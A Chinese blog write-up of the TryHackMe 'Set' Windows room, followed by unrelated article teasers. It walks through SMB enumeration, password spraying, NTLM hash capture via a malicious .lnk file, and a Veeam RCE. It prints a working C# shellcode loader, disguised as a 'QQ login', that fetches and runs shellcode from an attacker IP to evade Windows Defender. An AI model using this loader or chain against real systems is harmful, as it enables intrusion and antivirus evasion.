当前位置：首页 > news >正文

TryHackMe-Set（Windows渗透测试 | WinDefender免杀）

news 2026/2/9 6:27:03

Set

您再次发现自己在Windcorp公司的内部网络上。上次你去那里的味道真好，你回来了了解更多。

但是，这次他们设法保护了域控制器，因此您需要找到另一台服务器，并在第一次扫描时发现“Set”。

Set被用作开发人员的平台，最近遇到了一些问题。他们不得不重置很多用户并恢复备份（也许您不是他们网络上唯一的黑客？因此，他们决定确保所有用户都使用正确的密码并关闭一些松散的策略。你还能找到进去的路吗？某些用户是否比其他用户更有特权？还是更草率的？也许您需要跳出框框思考一下，以规避他们的新安全控制…

端口扫描

循例nmap

在这里插入图片描述

有两个子域，加进hosts

Web枚举

进到set子域

在这里插入图片描述

在主页的源代码中的search.js发现了user.xml，里面记录了姓名、电话和邮箱

在这里插入图片描述

先把xml保存一下，可能会有用

gobuster扫一下

在这里插入图片描述

SMB枚举

appnotes.txt，这意味着可能会有账户的密码会比较薄弱

在这里插入图片描述

提取用户名

在这里插入图片描述

使用username-generator.py生成可能的账户名

在这里插入图片描述

crackmapexec爆

在这里插入图片描述

按这个速度爆下去，估计没个10天半个月都爆不完，我选择看一眼wp是哪个账户

在这里插入图片描述

smbmap看一眼

在这里插入图片描述

用smbclient连接，获得info.txt

在这里插入图片描述

flag1和一些信息

在这里插入图片描述

立足 - SMB-NTLM回传

它会自动读取我们上传的zip文件，并查看里面的文件

我们都知道windows可以直接通过\\ip\share来远程访问文件, 在thm中我们已经用过很多次了

如果它要是带着ntlm hash过来，那么我们将可以利用其凭据进行下一步操作

利用mslink创建链接文件，指向攻击机的smb share

在这里插入图片描述

压缩zip然后上传

responder开启监听，获得michellewat的hash

在这里插入图片描述

hashcat直接爆

在这里插入图片描述

看见开了5985端口，直接winrm登进来，同时拿到flag2

在这里插入图片描述

Veeam未授权RCE

netstat发现一个2805端口

在这里插入图片描述

查看进程

在这里插入图片描述

百度了解了下veeam，wmic、get-service、accesschk都用不了

直接暴力枚举

在这里插入图片描述

查看版本

在这里插入图片描述

看一眼nvd

在这里插入图片描述

该版本存在漏洞，现在应该要进行端口转发出来看看

2805端口虽然开在了0.0.0.0，但攻击机无法访问到，我也尝试了frp、chisel、ssh反向连接，应该是因为防火墙或是其他的缘故，连接不到攻击机

使用plink借助ssh来进行ssh反向连接并进行远程端口转发

在这里插入图片描述

攻击机查看，没问题

在这里插入图片描述

msf有exp

在这里插入图片描述

由于WinDefender的存在，我们无法直接使用msf进行getshell

并且还需要对msf的exp进行修改，使用windows/x64/exec执行命令，这样不会被WinDefender察觉

在这里插入图片描述

免杀 - Bypass WinDefender

现在虽然能够成功执行命令，但这是一次绝佳的免杀练习机会

首先我们选择做一个简单的分阶段的shellcode加载器，基于C#

using System;
using System.Runtime.InteropServices;
using System.Net;class Program
{[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);static void Main(string[] args){LoginQQ();}public static void LoginQQ(){string qq_loginURI = "http://10.14.39.48:8000/login_qq_api";WebClient webClient = new WebClient();byte[] qqLoginState = webClient.DownloadData(qq_loginURI);UInt32 QQOpen = VirtualAlloc(0, (UInt32)qqLoginState.Length, 0x1000, 0x40);Marshal.Copy(qqLoginState, 0, (IntPtr)(QQOpen), qqLoginState.Length);IntPtr QQHandle = IntPtr.Zero;UInt32 QQthreadId = 0;IntPtr QQparameter = IntPtr.Zero;QQHandle = CreateThread(0, 0, QQOpen, QQparameter, 0, ref QQthreadId);WaitForSingleObject(QQHandle, 0xFFFFFFFF);}
}

我们考虑了熵, 它挺低的，至少满足了thm教程中所说的5.x、6.x

在这里插入图片描述

简单的通过http获取shellcode并利用win32 api写入内存并执行

使用csc编译得到exe

上传到VirusTotal分析一下

在这里插入图片描述

我们编写的“QQ”很幸运，它绕过了大多数AV检测，包括WinDefender

这仅仅只使用了thm教导了一小部分知识，就这么轻松绕过了，或许是得益于分阶段优势的原因吧

在这里插入图片描述

免杀马测试

这么简单的免杀就到此为止，当然，我们并没有考虑运行时的内存检测，但让我们碰碰运气

生成shellcode

在这里插入图片描述

python开启http服务，把steged loader传过去

直接运行loader

在这里插入图片描述

loader会请求所谓的“login_qq_api”，其实这是我们的shellcode

在这里插入图片描述

nc监听的情况，成功getshell，并且没有运行时的内存检测，我们的免杀成功

在这里插入图片描述

权限提升 - 免杀马利用

回到房间正文，我们继续利用veeam的exp来通过我们的免杀马getshell

在这里插入图片描述

nc监听，成功过来one账户

在这里插入图片描述

该账户已经在administrators组中，并且shell是高IL

在这里插入图片描述

拿下最后的flag3

在这里插入图片描述

结束

整个房间或许难点应该在于绕过WinDefender做免杀这，但我有thm教导的知识，很轻松就绕过了

值得纪念的一天，这也是我第一次将thm教导一的小部分的红队免杀知识交付于此

在这里插入图片描述

TryHackMe-Set（Windows渗透测试 | WinDefender免杀）

Set 您再次发现自己在Windcorp公司的内部网络上。上次你去那里的味道真好，你回来了了解更多。但是，这次他们设法保护了域控制器，因此您需要找到另一台服务器，并在第一次扫描时发现“Set”。 Set被用作开发人员的平台&#xf…...

编程日记 2023/5/30 2:37:03

信安大佬真的用kali吗？

Kali只是现在网络安全和kali比较火的一个操作系统下面我为大家讲讲kali系统都有那些优点 Kali介绍Kali Linux是基于Debian的Linux发行版， 设计用于数字取证操作系统。面向专业的渗透测试和安全审计。集成化：预装超过300个渗透测试工具兼容好&#x…...

编程日记 2023/5/30 22:47:49

禁用表单元素：Layui框架下的实践与技巧

引言在日常的网页开发过程中，有时我们需要禁用表单元素，以防止用户在某些情况下进行输入或更改。在本文中，我们将介绍如何在Layui框架下使用JavaScript禁用表单元素，例如单选按钮（radio）、下拉列表&#…...

编程日记 2023/4/22 15:30:10

spring boot 访问HTML

HTML整合spring boot 简介默认文件路径访问自定义文件路径访问或通过Controller控制器层跳转访问简介 SpringBoot默认的页面映射路径（即模板文件存放的位置）为“classpath:/templates/*.html”。静态文件路径为“classpath:/static/”，其中…...

编程日记 2023/4/22 15:25:08

WPF教程（四）--Dispatcher

一、Dispatcher介绍微软在WPF引入了Dispatcher，那么这个Dispatcher的主要作用是什么呢？ 不管是WinForm应用程序还是WPF应用程序，实际上都是一个进程，一个进程可以包含多个线程，其中有一个是主线程，其余的是…...

编程日记 2023/4/22 15:20:07

ijkplayer 编译增加支持更多的音视频格式

ijkplayer是B站开源的一款基于ffmpeg的移动端播放器。但为了减少播放器的体积，很多音视频的格式播放默认都是不支持的，需要自己下载ijkplayer源码进行编译。这里以mac环境下android为例，简述ijkplayer的编译过程，以及为了支持更多…...

编程日记 2023/5/31 1:30:55

TOP命令显示完整命令行信息

TOP 在Linux系统中，可以使用top命令来查看系统的实时性能数据，包括CPU使用率、内存使用率、进程信息等。以下是top命令的常用选项： -d seconds：指定top命令的刷新时间，单位为秒。 -u username：只显示指定…...

编程日记 2023/5/30 0:53:14

Spring6从入门到精通第一章带你玩转Spring

这里写目录标题一 Spring框架产生的原因二 Spring6配置的关键环节一 Spring框架产生的原因传统的JavaWeb存在着耦合度较高的问题，而且实现完整的的MVC三层架构，开发成本过大，因此出现了Spring这个轻量级的开发框架，相当于建筑里…...

编程日记 2023/4/22 15:04:57

Apache POI 实现用Java操作Excel完成读写操作

简介 Apache POI是一个用于操作Microsoft Office格式文件（包括xls、docx、xlsx、pptx等）的Java API库。POI全称为Poor Obfuscation Implementation，是Apache Software Foundation的一个开源项目。它提供了一组Java API，使得Java程…...

编程日记 2023/5/30 5:58:11

改善供应商关系的八种方法

与供应商保持良好关系的重要性有很多原因。最重要的是，它使每个人的日常工作更加愉快。它还可以为你获得更好的交易，有助于协作并增强商誉。但是，每个供应商都是不同的，建立牢固的关系可能很棘手。本文将解释企业如何建立并操持…...

编程日记 2023/4/22 14:54:55

网络安全-CDN绕过寻找真实IP

网络安全-CDN绕过寻找真实IP CDN就是CDN加速，就是根据你的目标让你访问的更快 CDN CDN，即内容分发网络，主要解决因传输距离和不同运营商节点造成的网络速度性能低下的问题。说得简单点，就是一组在不同运营商之间的对接节点上的…...

编程日记 2023/6/1 4:43:23

牛客网 HJ28 素数伴侣【二分图匹配,匈牙利算法】困难

描述若两个正整数的和为素数，则这两个正整数称之为“素数伴侣”，如2和5、6和13，它们能应用于通信加密。现在密码学会请你设计一个程序，从已有的 N （ N 为偶数）个正整数中挑选出若干对组成“素数伴侣”&am…...

编程日记 2023/4/22 14:44:52

带你畅玩ChatGPT

ChatGPT出来很久了，最近不少朋友还是不太会使用ChatGPT体验与机器人进行聊天，我正好发现有种非常简单的方式帮助大家体验ChatGPT，且响应速度非常快，写代码能力也不错，现在推荐给大家，希望对大家有所帮助。目录一、下载专用浏览器 1.1 下载链接 1.2 安装浏览器二、…...

编程日记 2023/5/31 1:32:25

ChatGPT探索系列之六：思考ChatGPT的未来发展趋势和挑战

文章目录前言一、未来发展趋势1. ChatGPT重塑数据分析之道2. ChatGPT颠覆企业运用人工智能和机器学习的途径3. ChatGPT颠覆自动化商业流程4. ChatGPT引领企业决策迈向新纪元二、ChatGPT掀开未来充满机遇和挑战的新篇章总结前言 ChatGPT发展到目前，其实网上已经有…...

编程日记 2023/5/31 1:40:57

TryHackMe-Year of the Fox（Linux渗透测试）

Year of the Fox 你能熬过狡猾的狐狸吗？ 端口扫描循例nmap 有个域名，加入hosts SMB枚举 smbmap enum4linux -a，枚举到两个账户 Web枚举进80发现需要登录上hydra RCE to Getshell 进来可以查看一些文件 bp发现这里存在过滤 burpfuzz一…...

编程日记 2023/4/22 14:29:48

ChatGPT 如何获取API Key

什么是OpenAI API Key? OpenAI是ChatGPT的“开发商”，提供API使得开发者可以在自己的应用程序上调用OpenAI的相关服务（除了ChatGPT，OpenAI还有其他产品）。如果想调用OpenAI的产品服务在自己的应用程序上，我们就需要申…...

编程日记 2023/4/22 14:24:47

明面抵制，暗中布局对于AI，马斯克的言行为何如此“割裂”？

最近，马斯克创建了一家叫做“X”的空壳公司，目标是将其打造成涵盖各方面的多功能应用集合平台，推特、SpaceX、特斯拉、Neuralink等公司业务都已打包加入其中。如今，“X”公司再添新丁——X.AI，即马斯克新成立的人工智能…...

编程日记 2023/6/1 4:44:32

【微服务中间件学习】redis基础及项目使用

背景最近跟着大佬学习，发现之前都是一知半解，还是得系统学一下。重温redis，有一下整理Redis是一种基于内存的高性能键值存储系统，它支持多种数据结构和持久化方式，并提供了许多高级功能，如发布/订阅、事…...

编程日记 2023/4/22 14:14:45

ORA-04021:等待锁定对象时发生超时

现场人员反馈问题，drop表报错，如下图是个rac环境，处理过程 1、2个节点上查看锁表，没任何输出 SYSorcl2> select name from v$db_object_cache where ownerUSR_DATAI and type in(PROCEDURE,FUNCTION) and locks > 0 and …...

编程日记 2023/5/30 3:27:55

【华为OD机试真题 C++】1066 - 新工号中数字的最短长度 | 机试题+算法思路+考点+代码解析

文章目录一、题目🔸题目描述🔸输入输出🔸样例1🔸样例2🔸样例3 二、代码参考作者：KJ.JK 🌈 🌈 🌈 🌈 🌈 🌈 🌈 &#x1f…...

编程日记 2023/4/22 14:04:42

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

编程新知 2026/2/7 4:57:53

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个？3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制半数机制（过半机制&#xff0…...

编程新知 2026/1/25 13:13:20

在 Nginx Stream 层“改写”MQTT ngx_stream_mqtt_filter_module

1、为什么要修改 CONNECT 报文？ 多租户隔离：自动为接入设备追加租户前缀，后端按 ClientID 拆分队列。零代码鉴权：将入站用户名替换为 OAuth Access-Token，后端 Broker 统一校验。灰度发布：根据 IP/地理位写…...

编程新知 2025/8/1 10:20:23

Cloudflare 从 Nginx 到 Pingora：性能、效率与安全的全面升级

在互联网的快速发展中，高性能、高效率和高安全性的网络服务成为了各大互联网基础设施提供商的核心追求。Cloudflare 作为全球领先的互联网安全和基础设施公司，近期做出了一个重大技术决策：弃用长期使用的 Nginx，转而采用其内部开发…...

编程新知 2026/1/29 21:20:51

OpenLayers 分屏对比(地图联动)

注：当前使用的是 ol 5.3.0 版本，天地图使用的key请到天地图官网申请，并替换为自己的key 地图分屏对比在WebGIS开发中是很常见的功能，和卷帘图层不一样的是，分屏对比是在各个地图中添加相同或者不同的图层进行对比查看。…...

编程新知 2025/12/25 18:22:43

iOS性能调优实战：借助克魔(KeyMob)与常用工具深度洞察App瓶颈

在日常iOS开发过程中，性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期，开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发，但背后往往隐藏着系统资源调度不当…...

编程新知 2025/9/24 12:50:07

GO协程(Goroutine)问题总结

在使用Go语言来编写代码时，遇到的一些问题总结一下 [参考文档]：https://www.topgoer.com/%E5%B9%B6%E5%8F%91%E7%BC%96%E7%A8%8B/goroutine.html 1. main()函数默认的Goroutine 场景再现： 今天在看到这个教程的时候，在自己的电…...

编程新知 2026/1/31 6:53:53

关于uniapp展示PDF的解决方案

在 UniApp 的 H5 环境中使用 pdf-vue3 组件可以实现完整的 PDF 预览功能。以下是详细实现步骤和注意事项： 一、安装依赖安装 pdf-vue3 和 PDF.js 核心库： npm install pdf-vue3 pdfjs-dist二、基本使用示例 <template><view class"con…...

编程新知 2025/9/18 20:16:52